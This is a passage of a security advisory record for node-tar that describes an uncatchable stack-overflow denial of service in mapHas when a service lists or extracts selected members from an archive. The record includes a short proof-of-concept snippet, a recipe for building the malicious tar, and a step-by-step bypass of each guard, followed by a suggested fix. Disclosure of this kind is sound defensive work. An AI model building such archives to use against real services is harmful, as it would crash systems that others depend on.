`src/parse.ts:179-183`). `mapHas` recurses once per path segment with no depth limit. The `Unpack` `maxDepth` guard (`src/unpack.ts:342`, in `[CHECKPATH]`) only runs on the `\u0027entry\u0027` event, which fires *after* `CONSUMEHEADER` has already invoked the filter \u2014 so the stack overflows before any depth guard executes. `tar.t` (list) has no `maxDepth` at all.\n\n## Impact\nUnauthenticated, remotely-triggerable denial of service: a ~188-byte gzip (\u224826 KB tar) crashes any service that lists or extracts *selected members* from an untrusted archive (package registries, CI artifact/cache restore, upload processors). On async (`await tar.t(...)`/`tar.x(...)`) and streaming/`pipe` consumers the `RangeError` escapes the promise as an `uncaughtException` and terminates the process \u2014 standard defensive `try/catch` around the async call does NOT prevent it. (The synchronous API is catchable; the async/stream paths \u2014 the dominant server pattern \u2014 are not.)\n\n## Proof of Concept\n```js\n// Build a tar whose single entry has a GNU-L long path of ~12,000 \"a/\" segments (~26 KB),\n// gzip it (\u2248188 bytes), then have a consumer list/extract with member selection:\nconst tar = require(\u0027tar\u0027);\nawait tar.t({ file: \u0027evil.tar.gz\u0027, gzip: true }, [\u0027some-member\u0027]); // -\u003e RangeError, process exit\n```\nEmpirically reproduced on Node v24.18.0 against built `dist/commonjs` of node-tar 7.5.20: 188-byte gzip \u2192 26,112-byte tar (12,000 segments) \u2192 uncaught `RangeError: Maximum call stack size exceeded` \u2192 process exit. A control run with no member-selection list (filter not installed) parses cleanly (exit 0), isolating `mapHas` as the sole cause.\n\n## Attack Chain\n1. **Entry.** Attacker crafts a tar with a GNU `L` (or PAX `x`) long-path header whose body is `\"a/\"`\u00d7~12000 (~26 KB), followed by a normal file entry.\n - **Guard:** `maxMetaEntrySize` caps the meta body at 1 MiB (`src/parse.ts:241`).\n - **Bypass proof:** 26 KB \u226a 1 MiB \u2192 accepted (verified: 26 KB archive parsed up to the filter).\n2. **Trigger.** Victim service calls `tar.t({file},[sel])` or `tar.x({file,cwd},[sel])` (member selection \u2014 a documented, common API).\n - **Guard:** `Unpack.maxDepth` (default 1024) at `src/unpack.ts:342`; decompression-ratio guard.\n - **Bypass proof:** `maxDepth` lives in `[CHECKPATH]` on the `\u0027entry\u0027` event, which fires *after* `CONSUMEHEADER`\u0027s filter call \u2014 the crash occurs before it (extract exits 1 with default maxDepth). `tar.t` has no maxDepth. Ratio is ~139\u00d7 (trivial); no total-bytes cap applies to the uncompressed meta body.\n3. **Sink.** `this.filter(entry.path)` \u2192 `mapHas` recurses once per `/` segment (`src/list.ts:39`).\n - **Guard:** try/catch in `CONSUMEHEADER`.\n - **Bypass proof:** the only try/catch wraps `new Header` (`src/parse.ts:179-183`); the `this.filter(...)` call at `src/parse.ts:253` is outside it. The `RangeError` propagates out of the stream write/`\u0027data\u0027` path \u2192 uncaught exception (verified: `process.on(\u0027uncaughtException\u0027)` fires; async `await`+`try/catch` does NOT intercept).\n4. **Impact.** Node process termination; a 188-byte gzip crashes any consumer that lists/extracts selected members from untrusted archives.\n\n## Bypass Evidence\n- `mapHas` recursion is member-name-independent: the crash fires even when the requested members do not match the malicious entry path \u2014 the attacker only needs the consumer to *use* member selection.\n- Standalone `mapHas` overflows at 20k\u201330k segments; on the real streaming path (atop `write \u2192 CONSUMECHUNK \u2192 CONSUMEHEADER \u2192 filter`) it crashes at \u22648k segments (finder\u0027s ~12k estimate is accurate for the reachable path).\n- Control (no member list \u2192 no filter) parses cleanly (exit 0), isolating `mapHas`.\n\n## Affected Versions\n`\u003c= 7.5.20` (npm `tar`). `mapHas` present verbatim on tag `v7.5.20` (latest GitHub release and npm `dist-tag latest`); no segment/depth cap in `src/list.ts` or the `CONSUMEHEADER` filter path; HEAD == 7.5.20, no unreleased fix.\n\n## Suggested Fix\nRewrite `mapHas` iteratively (walk `dirname` in a `while` loop with a segment/visited cap), or enforce a hard path-segment limit in `Header`/`Parser` independent of `maxMetaEntrySize`, applied before any per-entry filter runs.\n\n## Dedup Note\nDistinct from CVE-2024-28863 / GHSA-f5x3-32g6-qm9j \"lack of folders depth validation\" (that bounds `mkdir` recursion during *extraction* via `maxDepth` in `Unpack[CHECKPATH]` on the `\u0027entry\u0027` event \u2014 a different sink, code path, and fix; runs after the filter and does not apply to `tar.t`). Also distinct from the PAX NUL/numeric-path crash advisories (improper-input-to-fs / type confusion, not recursion) and the gzip-bomb advisory (resource exhaustion on disk writes). None touch `list.ts`/`filesFilter`/`mapHas` or require member selection.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
"id": "GHSA-r292-9mhp-454m",
"modified": "2026-07-24T16:26:17Z",
"published": "2026-07-24T16:26:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r292-9mhp-454m"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/631ae59121bf8fc8a22bbae35f074cb9b789cd4a"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.21"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.